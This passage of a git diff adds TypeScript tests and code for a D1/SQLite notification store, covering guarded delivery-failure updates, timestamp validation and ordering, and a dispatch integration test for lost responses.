Infinity, + }, + attributes: { omitted: undefined }, + metadata: { values: [undefined, null] }, + }); + const expected = captureNotificationDeliveryObservation(original); + await expect( + s.updateNotificationDeliveryIfUnchanged({ + expected, + failure: retryFailure(), + }), + ).resolves.toMatchObject({ + applied: true, + record: { + payload: { date: ATTEMPT_TIME, infinite: null }, + attributes: {}, + metadata: { values: [null, null] }, + }, + }); + const second = await createDueNotification(s, { id: 'second' }); + await s.updateNotification({ + threadId: 'thread', + id: 'second', + payload: null, + }); + await expect( + s.updateNotificationDeliveryIfUnchanged({ + expected: captureNotificationDeliveryObservation(second), + failure: retryFailure(), + }), + ).resolves.toEqual({ applied: false }); + }); + + it('accepts absent public counters and optional null bindings/dates', async () => { + const s = store(); + const original = await createDueNotification(s, { + agentId: undefined, + summaryAt: undefined, + }); + const compatible = { + ...original, + deliveryAttempts: undefined, + coalescedCount: undefined, + agentId: null, + summaryAt: null, + } as unknown as NotificationRecord; + await expect( + s.updateNotificationDeliveryIfUnchanged({ + expected: captureNotificationDeliveryObservation(compatible), + failure: retryFailure(), + }), + ).resolves.toMatchObject({ + applied: true, + record: { deliveryAttempts: 1 }, + }); + }); + + it('compares numeric values without inventing a coalescing generation', async () => { + const db = database(); + const s = new D1NotificationsStorage(db); + const original = await createDueNotification(s); + await db + .prepare('UPDATE mastra_notifications SET coalescedCount = -2.5') + .run(); + await expect( + s.updateNotificationDeliveryIfUnchanged({ + expected: { + ...captureNotificationDeliveryObservation(original), + deliveryAttempts: -0, + coalescedCount: -2.5, + }, + failure: retryFailure(), + }), + ).resolves.toMatchObject({ + applied: true, + record: { deliveryAttempts: 1, coalescedCount: -2.5 }, + }); + }); + + it.each([ + 'not-json', + '{"overflow":1e999}', + ])('rejects unreadable JSON in a supplied observation: %s', async (payload) => { + const s = store(); + const original = await createDueNotification(s); + const expected = { + ...captureNotificationDeliveryObservation(original), + payload, + }; + await expect( + new D1NotificationsStorage({ + prepare() { + throw new Error('database must not be reached'); + }, + }).updateNotificationDeliveryIfUnchanged({ + expected, + failure: retryFailure(), + }), + ).rejects.toMatchObject({ + name: 'TypeError', + message: 'Notification delivery JSON is malformed', + }); + }); + + it.each([ + { deliveryAttempts: null }, + { deliveryAttempts: Infinity }, + { payload: {} }, + { deliverAt: 1 }, + { agentId: 1 }, + ])('rejects unreadable driver row values before forgiving conversion %#', async (patch) => { + const db = database(); + const s = new D1NotificationsStorage( + interceptFirst(db, async (query, read) => { + const row = await read(); + return query.startsWith('SELECT *') && + query.includes('thread_id COLLATE BINARY') + ? { ...(row as object), ...patch } + : row; + }), + ); + const original = await createDueNotification(s); + const before = await rawNotification(db); + await expect( + s.updateNotificationDeliveryIfUnchanged({ + expected: captureNotificationDeliveryObservation(original), + failure: retryFailure(), + }), + ).rejects.toThrow(); + expect(await rawNotification(db)).toEqual(before); + }); + + it('bookkeeps path-unsafe physical bindings without routing them', async () => { + const s = store(); + const original = await createDueNotification(s, { + threadId: '../thread', + resourceId: '../resource', + agentId: '', + }); + await expect( + s.updateNotificationDeliveryIfUnchanged({ + expected: captureNotificationDeliveryObservation(original), + failure: retryFailure(), + }), + ).resolves.toMatchObject({ + applied: true, + record: { threadId: '../thread', deliveryAttempts: 1 }, + }); + }); + + it('isolates the configured table prefix', async () => { + const db = database(); + const left = new D1NotificationsStorage(db, 'left_'); + const right = new D1NotificationsStorage(db, 'right_'); + const original = await createDueNotification(left); + const neighbor = await createDueNotification(right); + await left.updateNotificationDeliveryIfUnchanged({ + expected: captureNotificationDeliveryObservation(original), + failure: retryFailure(), + }); + expect( + await right.getNotification({ threadId: 'thread', id: 'receipt' }), + ).toEqual(neighbor); + }); + + it.each([ + 'before', + 'after', + ] as const)('surfaces response loss %s the write without replay', async (phase) => { + const db = database(); + let writes = 0; + const wrapped = interceptFirst(db, async (query, read) => { + if (!isDeliveryUpdate(query)) return read(); + writes += 1; + if (phase === 'after') await read(); + throw new Error('response lost'); + }); + const s = new D1NotificationsStorage(wrapped); + const original = await createDueNotification(s); + await expect( + s.updateNotificationDeliveryIfUnchanged({ + expected: captureNotificationDeliveryObservation(original), + failure: retryFailure(), + }), + ).rejects.toThrow('response lost'); + expect(writes).toBe(1); + expect((await rawNotification(db)).deliveryAttempts).toBe( + phase === 'after' ? 1 : 0, + ); + }); + + it.each([ + undefined, + false, + [], + {}, + { deliveryAttempts: 1 }, + ])('rejects a malformed database RETURNING row %#', async (returned) => { + const db = database(); + const s = new D1NotificationsStorage( + interceptFirst(db, async (query, read) => { + const row = await read(); + return isDeliveryUpdate(query) ? returned : row; + }), + ); + const original = await createDueNotification(s); + await expect( + s.updateNotificationDeliveryIfUnchanged({ + expected: captureNotificationDeliveryObservation(original), + failure: retryFailure(), + }), + ).rejects.toThrow(); + }); + + it.each([ + { id: 'wrong' }, + { updatedAt: ATTEMPT_TIME }, + { deliveryAttempts: 2 }, + { lastDeliveryError: 'different' }, + { summarySignalId: 'different' }, + { payload: 'null' }, + ])('rejects a database RETURNING row with a different receipt %#', async (patch) => { + const db = database(); + const s = new D1NotificationsStorage( + interceptFirst(db, async (query, read) => { + const row = await read(); + return isDeliveryUpdate(query) ? { ...(row as object), ...patch } : row; + }), + ); + const original = await createDueNotification(s); + await expect( + s.updateNotificationDeliveryIfUnchanged({ + expected: captureNotificationDeliveryObservation(original), + failure: retryFailure(), + }), + ).rejects.toThrow('different receipt'); + }); +}); + +describe('chronological notification timestamps', () => { + const now = new Date('2026-01-01T00:00:00.000Z'); + + it.each([ + 'deliverAt', + 'summaryAt', + ] as const)('keeps a future extended-year %s out of a limited due window', async (cursor) => { + const s = store(); + await s.createNotification({ + id: 'future', + threadId: 'acme_t1', + source: 'test', + kind: 'ready', + summary: 'future', + [cursor]: new Date('+010000-01-01T00:00:00.000Z'), + }); + await s.createNotification({ + id: 'due', + threadId: 'acme_t1', + source: 'test', + kind: 'ready', + summary: 'due', + [cursor]: new Date(now.getTime() - 1), + }); + expect( + (await s.listDueNotifications({ now, limit: 1 })).map((row) => row.id), + ).toEqual(['due']); + }); + + it('orders negative years by their instants before applying the limit', async () => { + const s = store(); + for (const [id, timestamp] of [ + ['newer', '-000001-01-01T00:00:00.000Z'], + ['older', '-000010-01-01T00:00:00.000Z'], + ] as const) { + await s.createNotification({ + id, + threadId: 'acme_t1', + source: 'test', + kind: 'ready', + summary: id, + deliverAt: new Date(timestamp), + }); + } + expect( + (await s.listDueNotifications({ now, limit: 1 })).map((row) => row.id), + ).toEqual(['older']); + }); + + it.each([ + { timestamp: '2026-01-01T01:00:00+02:00', expected: 'offset' }, + { timestamp: '2025-12-31T23:00:00-02:00', expected: 'due' }, + ])('uses the instant of raw offset $timestamp in a limited due window', async ({ + timestamp, + expected, + }) => { + const db = database(); + const s = new D1NotificationsStorage(db); + const record = await s.createNotification({ + id: 'offset', + threadId: 'acme_t1', + source: 'test', + kind: 'ready', + summary: 'offset', + summaryAt: new Date(timestamp), + }); + await db + .prepare('UPDATE mastra_notifications SET summaryAt = ? WHERE id = ?') + .bind(timestamp, record.id) + .run(); + await s.createNotification({ + id: 'due', + threadId: 'acme_t1', + source: 'test', + kind: 'ready', + summary: 'due', + summaryAt: new Date(now.getTime() - 1), + }); + expect( + (await s.listDueNotifications({ now, limit: 1 })).map((row) => row.id), + ).toEqual([expected]); + }); + + it('lists updated timestamps chronologically across extended years', async () => { + const db = database(); + const s = new D1NotificationsStorage(db); + for (const [id, updatedAt] of [ + ['ordinary', now.toISOString()], + ['future', '+010000-01-01T00:00:00.000Z'], + ] as const) { + const record = await s.createNotification({ + id, + threadId: 'acme_t1', + source: 'test', + kind: 'ready', + summary: id, + }); + await db + .prepare('UPDATE mastra_notifications SET updatedAt = ? WHERE id = ?') + .bind(updatedAt, record.id) + .run(); + } + expect( + (await s.listNotifications({ threadId: 'acme_t1', limit: 1 })).map( + (row) => row.id, + ), + ).toEqual(['future']); + }); +}); + +describe('notification timestamp conversion', () => { + const epochs = [ + -8_640_000_000_000_000, -8_639_999_999_999_999, -62_167_219_200_001, + -62_167_219_200_000, -1, 0, 1, 253_402_300_799_999, 253_402_300_800_000, + 253_402_300_800_001, 8_639_999_999_999_999, 8_640_000_000_000_000, + ]; + for (let index = 1; index <= 64; index += 1) { + epochs.push(Math.trunc((index / 65) * 8_640_000_000_000_000)); + epochs.push(-Math.trunc((index / 65) * 8_640_000_000_000_000)); + } + + const timestamps = [ + ...epochs.map((epoch) => new Date(epoch).toISOString()), + '0000', + '0000-02', + '2026-09-09', + '-000001', + '-000001-02', + '+010000', + '+010000-02', + '1900-02-29T12:00:00.000Z', + '2000-02-29T12:00:00.000Z', + '2100-02-29T12:00:00.000Z', + '2400-02-29T12:00:00.000Z', + '9999-12-31T24:00:00.000Z', + '-000001-12-31T23:59:59.999-23:59', + '0000-01-01T00:00:00.001+23:59', + '+010000-01-01T00:00:00.1239+2359', + '+010000-12-31T23:59:59.9999-2359', + '+275760-09-13T01:00:00.000+01:00', + '-271821-04-19T23:00:00.000-0100', + '2026-09-09T12:34Z', + '2026-09-09T12:34:56.1Z', + '2026-09-09T12:34:56.12Z', + '2026-09-09T12:34:56.1239Z', + '2026-09-09T12:34:56.9999Z', + '2026-09-09T12:34:56.00000001Z', + '2026-09-09t12:34:56.123z', + ]; + + it.each(timestamps)('matches Date for %s', async (timestamp) => { + const db = database(); + const expected = new Date(timestamp).getTime(); + expect(Number.isFinite(expected)).toBe(true); + expect(notificationTimestampMillis(timestamp)).toBe(expected); + expect(notificationTimestampMillis(new Date(timestamp))).toBe(expected); + const row = await db + .prepare( + `SELECT ${notificationTimestampSql('deliverAt')} AS epoch + FROM (SELECT ? AS deliverAt)`, + ) + .bind(timestamp) + .first<{ epoch: number }>(); + expect(row?.epoch).toBe(expected); + }); + + it.each([ + 'now', + '1700000000000', + 'September 9, 2026', + '2026-09-09T12:34:56', + '2026-09-09 12:34:56Z', + '2026-13-01', + '2026-01-32', + '2026-09-09T24:01:00Z', + '2026-09-09T12:60:00Z', + '2026-09-09T12:34:60Z', + '2026-09-09T12:34:56.Z', + '2026-09-09T12:34:56+2400', + '2026-09-09T12:34:56+00:60', + '-000000-01-01T00:00:00.000Z', + '+275760-09-13T00:00:00.001Z', + '-271821-04-19T23:59:59.999Z', + '2026\n', + '2026-09-09T12:34:56.123Z\0', + '2026-09-09T12:34:56.123Z\0ignored', + '+010000-01-01T00:00:00.123Z\0', + ])('leaves %j unavailable as a portable stored instant', async (timestamp) => { + expect(() => notificationTimestampMillis(timestamp)).toThrow(TypeError); + const db = database(); + const row = await db + .prepare( + `SELECT ${notificationTimestampSql('updatedAt')} AS epoch + FROM (SELECT ? AS updatedAt)`, + ) + .bind(timestamp) + .first<{ epoch: number | null }>(); + expect(row?.epoch).toBeNull(); + }); +}); diff --git a/packages/flowsafe/src/signals/notifications-d1.ts b/packages/flowsafe/src/signals/notifications-d1.ts index 128de926..6eccd141 100644 --- a/packages/flowsafe/src/signals/notifications-d1.ts +++ b/packages/flowsafe/src/signals/notifications-d1.ts @@ -24,8 +24,13 @@ import { NotificationsStorage, type UpdateNotificationInput, } from '@mastra/core/notifications'; -import { DUE_NOTIFICATION_SQL } from '../do-runner/notification-predicate.js'; +import { + DUE_NOTIFICATION_SQL, + notificationTimestampMillis, + notificationTimestampSql, +} from '../do-runner/notification-predicate.js'; import { validateTablePrefix } from '../do-runner/table-prefix.js'; +import { nonnegativeSafeInteger } from '../numeric-config.js'; import { d1Changes, dateOrUndefined, @@ -35,6 +40,12 @@ import { type SignalDatabase, type SignalStatement, } from './d1-shared.js'; +import type { + NotificationDeliveryFailure, + NotificationDeliveryObservation, + NotificationDeliveryStorage, + NotificationDeliveryUpdateResult, +} from './notification-dispatch.js'; /** The raw row shape `mastra_notifications` stores and `rowToRecord` reads. */ interface NotificationRow { @@ -128,6 +139,183 @@ const NOTIFICATION_UPDATE_COLUMNS = NOTIFICATION_COLUMNS.filter( (column) => column !== 'id' && column !== 'thread_id', ); +type NotificationColumn = (typeof NOTIFICATION_COLUMNS)[number]; + +const NOTIFICATION_DATE_COLUMNS = new Set([ + 'createdAt', + 'updatedAt', + 'deliverAt', + 'summaryAt', + 'lastDeliveryAttemptAt', + 'deliveredAt', + 'seenAt', + 'dismissedAt', + 'archivedAt', + 'discardedAt', +]); + +const NOTIFICATION_REQUIRED_TEXT_COLUMNS = new Set([ + 'id', + 'thread_id', + 'source', + 'kind', + 'summary', +]); + +function notificationDeliveryDate(value: unknown, canonical: boolean): number { + const time = + typeof value === 'string' ? notificationTimestampMillis(value) : NaN; + if ( + !Number.isFinite(time) || + (canonical && new Date(time).toISOString() !== value) + ) { + throw new TypeError('Notification delivery timestamp is malformed'); + } + return time; +} + +function validateNotificationDeliveryValues( + values: unknown[], + canonicalDates: boolean, +): void { + for (const [index, column] of NOTIFICATION_COLUMNS.entries()) { + const value = values[index]; + if (column === 'deliveryAttempts') { + nonnegativeSafeInteger(value as number, 'notification deliveryAttempts'); + } else if (column === 'coalescedCount') { + if (typeof value !== 'number' || !Number.isFinite(value)) { + throw new TypeError('Notification coalescedCount is malformed'); + } + } else if (column === 'priority') { + if (!['urgent', 'high', 'medium', 'low'].includes(value as string)) { + throw new TypeError('Notification priority is malformed'); + } + } else if (column === 'status') { + if ( + ![ + 'pending', + 'delivered', + 'seen', + 'dismissed', + 'archived', + 'discarded', + ].includes(value as string) + ) { + throw new TypeError('Notification status is malformed'); + } + } else if (NOTIFICATION_DATE_COLUMNS.has(column)) { + if (value !== null || column === 'createdAt' || column === 'updatedAt') { + notificationDeliveryDate(value, canonicalDates); + } + } else if ( + column === 'payload' || + column === 'attributes' || + column === 'metadata' + ) { + if (value === null) continue; + if (typeof value !== 'string') { + throw new TypeError('Notification delivery JSON is malformed'); + } + try { + JSON.parse(value, (_key, parsed: unknown) => { + if (typeof parsed === 'number' && !Number.isFinite(parsed)) { + throw new TypeError(); + } + return parsed; + }); + } catch { + throw new TypeError('Notification delivery JSON is malformed'); + } + } else if ( + typeof value !== 'string' && + (value !== null || NOTIFICATION_REQUIRED_TEXT_COLUMNS.has(column)) + ) { + throw new TypeError(`Notification ${column} is malformed`); + } + } +} + +function notificationDeliveryRowValues(row: NotificationRow): unknown[] { + if (typeof row !== 'object' || row === null || Array.isArray(row)) { + throw new TypeError('Notification delivery row is malformed'); + } + const values = NOTIFICATION_COLUMNS.map((column) => row[column]); + validateNotificationDeliveryValues(values, false); + return values; +} + +function notificationFailureUpdates( + expected: NotificationDeliveryObservation, + failure: NotificationDeliveryFailure, +): Partial> { + const allowed = new Set(['type', 'updatedAt']); + const updates: Partial> = { + updatedAt: failure.updatedAt, + }; + notificationDeliveryDate(failure.updatedAt, true); + if (failure.type !== 'exhausted') { + if (failure.type !== 'retry' && failure.type !== 'discard') { + throw new TypeError('Notification delivery failure type is malformed'); + } + for (const key of [ + 'deliveryAttempts', + 'lastDeliveryAttemptAt', + 'lastDeliveryError', + ]) { + allowed.add(key); + } + nonnegativeSafeInteger( + failure.deliveryAttempts, + 'notification deliveryAttempts', + ); + if ( + expected.deliveryAttempts === Number.MAX_SAFE_INTEGER || + failure.deliveryAttempts !== expected.deliveryAttempts + 1 + ) { + throw new RangeError('Notification delivery failure must increment once'); + } + const attemptedAt = notificationDeliveryDate( + failure.lastDeliveryAttemptAt, + true, + ); + if (typeof failure.lastDeliveryError !== 'string') { + throw new TypeError('Notification lastDeliveryError is malformed'); + } + updates.deliveryAttempts = failure.deliveryAttempts; + updates.lastDeliveryAttemptAt = failure.lastDeliveryAttemptAt; + updates.lastDeliveryError = failure.lastDeliveryError; + if (failure.type === 'retry') { + for (const cursor of ['deliverAt', 'summaryAt'] as const) { + allowed.add(cursor); + const original = expected[cursor]; + const retry = failure[cursor]; + if ( + original !== null && + notificationDeliveryDate(original, true) <= attemptedAt + ) { + if (notificationDeliveryDate(retry, true) <= attemptedAt) { + throw new RangeError('Notification retry cursor must advance'); + } + updates[cursor] = retry; + } else if (retry !== undefined) { + throw new RangeError('Notification retry cursor was not due'); + } + } + } + } + if (Reflect.ownKeys(failure).some((key) => !allowed.has(key))) { + throw new TypeError('Notification delivery failure has unexpected fields'); + } + if (failure.type !== 'retry') { + updates.status = 'discarded'; + updates.deliveryReason = 'delivery-attempts-exhausted'; + updates.discardedAt = failure.updatedAt; + updates.deliverAt = null; + updates.summaryAt = null; + } + return updates; +} + function validLimit(limit: number | undefined): limit is number { return limit !== undefined && Number.isSafeInteger(limit) && limit >= 0; } @@ -145,7 +333,10 @@ function isDuplicateColumn(error: unknown): boolean { */ export const NOTIFICATION_SEQUENCE_TABLE = 'flowsafe_notification_sequence'; -export class D1NotificationsStorage extends NotificationsStorage { +export class D1NotificationsStorage + extends NotificationsStorage + implements NotificationDeliveryStorage +{ readonly #db: SignalDatabase; readonly #table: string; readonly #sequenceTable: string; @@ -493,7 +684,7 @@ export class D1NotificationsStorage extends NotificationsStorage { const { results } = await this.#db .prepare( `SELECT * FROM ${this.#table} WHERE ${clauses.join(' AND ')} - ORDER BY updatedAt DESC${sqlLimit !== undefined ? ' LIMIT ?' : ''}`, + ORDER BY ${notificationTimestampSql('updatedAt')} DESC${sqlLimit !== undefined ? ' LIMIT ?' : ''}`, ) .bind(...binds) .all(); @@ -525,8 +716,8 @@ export class D1NotificationsStorage extends NotificationsStorage { async listDueNotifications( input: ListDueNotificationsInput, ): Promise { + const now = notificationTimestampMillis(input.now); await this.#ensureSchema(); - const now = input.now.toISOString(); const clauses = [DUE_NOTIFICATION_SQL]; const binds: unknown[] = [now, now]; if (input.agentId !== undefined) { @@ -541,16 +732,22 @@ export class D1NotificationsStorage extends NotificationsStorage { if (sqlLimit !== undefined) binds.push(sqlLimit); const { results } = await this.#db .prepare( - `SELECT * FROM ${this.#table} - WHERE ${clauses.join(' AND ')} + `SELECT * FROM ( + SELECT *, + ${notificationTimestampSql('deliverAt')} AS deliveryTime, + ${notificationTimestampSql('summaryAt')} AS summaryTime, + ${notificationTimestampSql('updatedAt')} AS updatedTime + FROM ${this.#table} + WHERE ${clauses.join(' AND ')} + ) ORDER BY CASE - WHEN deliverAt IS NULL THEN summaryAt - WHEN summaryAt IS NULL THEN deliverAt - WHEN deliverAt <= summaryAt THEN deliverAt - ELSE summaryAt + WHEN deliveryTime IS NULL THEN summaryTime + WHEN summaryTime IS NULL THEN deliveryTime + WHEN deliveryTime <= summaryTime THEN deliveryTime + ELSE summaryTime END ASC, - updatedAt ASC${sqlLimit !== undefined ? ' LIMIT ?' : ''}`, + updatedTime ASC${sqlLimit !== undefined ? ' LIMIT ?' : ''}`, ) .bind(...binds) .all(); @@ -654,6 +851,68 @@ export class D1NotificationsStorage extends NotificationsStorage { return rowToRecord(updated); } + async updateNotificationDeliveryIfUnchanged(input: { + expected: NotificationDeliveryObservation; + failure: NotificationDeliveryFailure; + }): Promise { + const expected = { ...input.expected }; + const failure = { ...input.failure }; + const expectedValues = NOTIFICATION_COLUMNS.map( + (column) => expected[column === 'thread_id' ? 'threadId' : column], + ); + validateNotificationDeliveryValues(expectedValues, true); + if (expected.status !== 'pending' || expected.deliveredSignalId) { + return { applied: false }; + } + const updates = notificationFailureUpdates(expected, failure); + const targetValues = NOTIFICATION_COLUMNS.map((column, index) => + Object.hasOwn(updates, column) ? updates[column] : expectedValues[index], + ); + const entries = Object.entries(updates); + const sets = entries.map(([column]) => `${column} = ?`); + const setValues = entries.map(([, value]) => value); + + await this.#ensureSchema(); + const row = await this.#db + .prepare( + `SELECT * FROM ${this.#table} + WHERE thread_id COLLATE BINARY IS ? AND id COLLATE BINARY IS ?`, + ) + .bind(expected.threadId, expected.id) + .first(); + if (row === null) return { applied: false }; + const rawValues = notificationDeliveryRowValues(row); + const currentValues = recordValues(rowToRecord(row)); + if (currentValues.some((value, index) => value !== expectedValues[index])) { + return { applied: false }; + } + const guards = NOTIFICATION_COLUMNS.map( + (column) => `${column} COLLATE BINARY IS ?`, + ); + const updated = await this.#db + .prepare( + `UPDATE ${this.#table} + SET ${sets.join(', ')} + WHERE status COLLATE BINARY IS 'pending' + AND (deliveredSignalId IS NULL OR deliveredSignalId = '') + AND ${guards.join(' AND ')} + RETURNING *`, + ) + .bind(...setValues, ...rawValues) + .first(); + if (updated === null) return { applied: false }; + notificationDeliveryRowValues(updated); + const record = rowToRecord(updated); + if ( + recordValues(record).some((value, index) => value !== targetValues[index]) + ) { + throw new Error( + 'Notification delivery update returned a different receipt', + ); + } + return { applied: true, record }; + } + async dangerouslyClearAll(): Promise { await this.#ensureSchema(); await this.#db.prepare(`DELETE FROM ${this.#table}`).run(); diff --git a/packages/flowsafe/src/signals/signal-ingestion.integration.test.ts b/packages/flowsafe/src/signals/signal-ingestion.integration.test.ts index 53baceef..6679f1cb 100644 --- a/packages/flowsafe/src/signals/signal-ingestion.integration.test.ts +++ b/packages/flowsafe/src/signals/signal-ingestion.integration.test.ts @@ -1,13 +1,10 @@ // SPDX-License-Identifier: Apache-2.0 -// One signal ingested through the FULL chain: createSignalRouter's ingestion -// gate → real createThreadTopology → real ThreadDurableObject (its -// stamped-principal assertion) → the production thread signal routes → a -// runtime-driven reserve agent, with NO LLM. The unit suites -// each mock a seam; this one wires the real seams together so the ingestion -// boundary has one end-to-end proof, including the idle-wake run cap consulted -// both allowing and capping, plus a foreign path-safe thread refusal. - -import type { Agent } from '@mastra/core/agent'; +// The unit suites each mock a seam; this file wires the real seams together: +// the real dispatch tick, the real thread topology, the real thread-DO signal +// routes and a SQLite-backed D1 notification store. + +import type { Agent, AgentSignal } from '@mastra/core/agent'; +import type { NotificationRecord } from '@mastra/core/notifications'; import { RequestContext } from '@mastra/core/request-context'; import { InMemoryStore } from '@mastra/core/storage'; import { @@ -19,12 +16,16 @@ import { } from '@proofoftech/breakwater'; import { describe, expect, it, vi } from 'vitest'; +import { openSqlite, sqliteUnitDatabase } from '../../test-support/sqlite.js'; import { RUNTIME_DRIVEN_AGENT } from '../agent-runner/index.js'; import type { ActorContext, ApprovalActor } from '../approval-api/index.js'; import { breakwaterActorFor, + createPrincipalActorContext, humanPrincipal, + InMemoryApprovalStoreFactory, principalAuditFields, + trustAutomationPrincipal, } from '../approval-api/index.js'; import { type InitResult, @@ -39,6 +40,9 @@ import { type ThreadNamespaceLike, type ThreadTopology, } from '../host-kit/index.js'; +import type { SignalDatabase } from './d1-shared.js'; +import { createNotificationDispatchTick } from './notification-dispatch.js'; +import { D1NotificationsStorage } from './notifications-d1.js'; import { createSignalRouter } from './router.js'; import { createThreadSignalRoutes, @@ -58,6 +62,7 @@ function createThreadTopology( interface TestEnv { agent: Agent; + resolveNotificationsStorage?: () => D1NotificationsStorage; consultRunCap?: RunCapConsult; startIdleRun?: StartIdleRun; contentPolicy?: SignalContentPolicy; @@ -83,6 +88,7 @@ class TestThread extends ThreadDurableObject { resolveResourceId: () => resourceIdFromKey('itest'), consultRunCap: this.env.consultRunCap, startIdleRun: this.env.startIdleRun, + resolveNotificationsStorage: this.env.resolveNotificationsStorage, ...(this.env.contentPolicy !== undefined ? { contentPolicy: this.env.contentPolicy } : {}), @@ -109,7 +115,10 @@ class TestThread extends ThreadDurableObject { // A namespace over in-memory TestThread instances: idFromName(name)=name and // get() memoizes one instance per thread name — its DO identity is its id.name, // exactly what the base class uses as the authoritative thread address. -function threadNamespace(env: TestEnv): ThreadNamespaceLike { +function threadNamespace( + env: TestEnv, + afterResponse?: (response: Response) => Promise, +): ThreadNamespaceLike { const instances = new Map(); return { idFromName: (name) => name, @@ -121,17 +130,20 @@ function threadNamespace(env: TestEnv): ThreadNamespaceLike { } const instance = inst; return { - fetch: ( + fetch: async ( input: Request | string, reqInit?: { method?: string; headers?: Record; body?: string; }, - ) => - instance.fetch( + ) => { + const response = await instance.fetch( typeof input === 'string' ? new Request(input, reqInit) : input, - ), + ); + await afterResponse?.(response); + return response; + }, }; }, }; @@ -165,16 +177,24 @@ function actorContext(): ActorContext { // A runtime-driven reserve agent (no LLM): records the ifIdle target sendMessage // received. The brand is what lets a wake pass the thread-route gate. -function reserveAgent(): { - agent: Agent; - targets: Array<{ ifIdle?: unknown }>; -} { +function reserveAgent() { const targets: Array<{ ifIdle?: unknown }> = []; + const sendSignal = vi.fn( + (signal: AgentSignal, target: { ifIdle?: unknown }) => { + targets.push(target); + return { + signal, + accepted: Promise.resolve({ action: 'persist' as const }), + persisted: Promise.resolve(), + }; + }, + ); const agent = { id: 'reserve', [RUNTIME_DRIVEN_AGENT]: true, __setPubSub: () => {}, getMemory: () => ({ saveMessages: vi.fn() }), + sendSignal, sendMessage: (_message: unknown, target: { ifIdle?: unknown }) => { targets.push(target); return { @@ -183,7 +203,7 @@ function reserveAgent(): { }; }, } as unknown as Agent; - return { agent, targets }; + return { agent, targets, sendSignal }; } function wake(threadId: string): Request { @@ -390,3 +410,372 @@ describe('signal ingestion — Breakwater content gate over the full chain', () }); }); }); + +describe('notification dispatch — lost response after the thread DO handler', () => { + it.each([ + 'summary', + 'individual', + 'denial', + 'recorded-failure', + ] as const)('preserves the actual %s receipt across the outer tick fallback', async (mode) => { + const now = new Date('2026-07-20T12:00:00.000Z'); + const futureDelivery = new Date(now.getTime() + 60_000); + vi.useFakeTimers({ toFake: ['Date'] }); + vi.setSystemTime(now); + try { + const sqlite = openSqlite(); + const storage = new D1NotificationsStorage( + sqliteUnitDatabase(sqlite) as SignalDatabase, + ); + const { agent, sendSignal } = reserveAgent(); + if (mode === 'recorded-failure') { + sendSignal.mockImplementation(() => { + throw new Error('original receiver refusal'); + }); + } + const record = await storage.createNotification({ + id: `lost-${mode}`, + threadId: THREAD_ID, + resourceId: resourceIdFromKey('itest'), + agentId: agent.id, + source: 'provider', + kind: 'changed', + summary: 'notification input', + priority: mode === 'summary' ? 'low' : 'urgent', + deliverAt: + mode === 'summary' ? futureDelivery : new Date(now.getTime() - 1), + summaryAt: mode === 'summary' ? new Date(now.getTime() - 1) : undefined, + payload: { version: 1 }, + }); + const lookup = { threadId: THREAD_ID, id: record.id }; + const rawReceipt = () => + sqlite + .prepare( + 'SELECT * FROM mastra_notifications WHERE thread_id = ? AND id = ?', + ) + .get(lookup.threadId, lookup.id); + const before = await storage.getNotification(lookup); + const beforeRaw = rawReceipt(); + let durableReceipt: NotificationRecord | null = null; + let durableRaw: unknown; + let routeResult: unknown; + const responseReceived = vi.fn(async (response: Response) => { + expect(response.status).toBe(200); + routeResult = await response.clone().json(); + durableReceipt = await storage.getNotification(lookup); + durableRaw = rawReceipt(); + throw new Error('thread handler response lost'); + }); + const contentPolicy = vi.fn(() => + mode === 'denial' + ? { allowed: false, outcome: 'denied' } + : { allowed: true }, + ); + const topology = createThreadTopology( + threadNamespace( + { + agent, + resolveNotificationsStorage: () => storage, + contentPolicy, + }, + responseReceived, + ), + ); + const context = createPrincipalActorContext({ + principal: trustAutomationPrincipal({ + kind: 'system', + id: 'notification-maintenance', + purpose: 'notification.dispatch', + }), + storeFactory: new InMemoryApprovalStoreFactory(), + buildService: () => { + throw new Error('approval service is not used in notification tests'); + }, + }); + const conditional = vi.spyOn( + storage, + 'updateNotificationDeliveryIfUnchanged', + ); + const tick = createNotificationDispatchTick({ + storage, + topology, + resolveContext: () => context, + executionFence: 'none', + now: () => now, + }); + + expect(await tick()).toEqual({ due: 1, delivered: 0, failed: 1 }); + expect(responseReceived).toHaveBeenCalledOnce(); + expect(contentPolicy).toHaveBeenCalledExactlyOnceWith( + expect.objectContaining({ + principal: { + kind: 'system', + id: 'notification-maintenance', + purpose: 'notification.dispatch', + }, + threadId: THREAD_ID, + resourceId: resourceIdFromKey('itest'), + entryPath: 'notification.dispatch', + }), + ); + expect(durableReceipt).not.toEqual(before); + expect(durableRaw).not.toEqual(beforeRaw); + expect(durableReceipt).toMatchObject({ updatedAt: before?.updatedAt }); + expect(await storage.getNotification(lookup)).toEqual(durableReceipt); + expect(rawReceipt()).toEqual(durableRaw); + expect(conditional).toHaveBeenCalledTimes( + mode === 'recorded-failure' ? 2 : 1, + ); + const outerFailure = conditional.mock.calls.at(-1)?.[0]; + expect(outerFailure).toMatchObject({ + expected: { + deliveryAttempts: 0, + summarySignalId: null, + deliveredSignalId: null, + }, + failure: { + type: 'retry', + deliveryAttempts: 1, + lastDeliveryError: 'thread handler response lost', + }, + }); + expect(await conditional.mock.results.at(-1)?.value).toEqual({ + applied: false, + }); + + if (mode === 'summary') { + expect(routeResult).toMatchObject({ delivered: 1, failed: 0 }); + expect(durableReceipt).toMatchObject({ + status: 'pending', + summaryAt: undefined, + summarySignalId: expect.any(String), + deliverAt: futureDelivery, + deliveryAttempts: 0, + lastDeliveryError: undefined, + }); + expect(sendSignal).toHaveBeenCalledOnce(); + } else if (mode === 'individual') { + expect(routeResult).toMatchObject({ delivered: 1, failed: 0 }); + expect(durableReceipt).toMatchObject({ + status: 'delivered', + deliveredSignalId: expect.any(String), + deliveryAttempts: 0, + lastDeliveryError: undefined, + }); + expect(sendSignal).toHaveBeenCalledOnce(); + } else if (mode === 'denial') { + expect(routeResult).toMatchObject({ + delivered: 0, + failed: 0, + discarded: 1, + }); + expect(durableReceipt).toMatchObject({ + status: 'discarded', + deliveryReason: 'content-policy-denied', + deliveryAttempts: 0, + lastDeliveryError: undefined, + discardedAt: now, + }); + expect(sendSignal).not.toHaveBeenCalled(); + } else { + expect(routeResult).toMatchObject({ delivered: 0, failed: 1 }); + expect(durableReceipt).toMatchObject({ + status: 'pending', + deliveryAttempts: 1, + lastDeliveryError: 'original receiver refusal', + lastDeliveryAttemptAt: now, + deliverAt: new Date(now.getTime() + 1000), + }); + expect(sendSignal).toHaveBeenCalledOnce(); + } + expect(await storage.listDueNotifications({ now })).toEqual([]); + } finally { + vi.useRealTimers(); + } + }); + + it('preserves the summary receipt for a 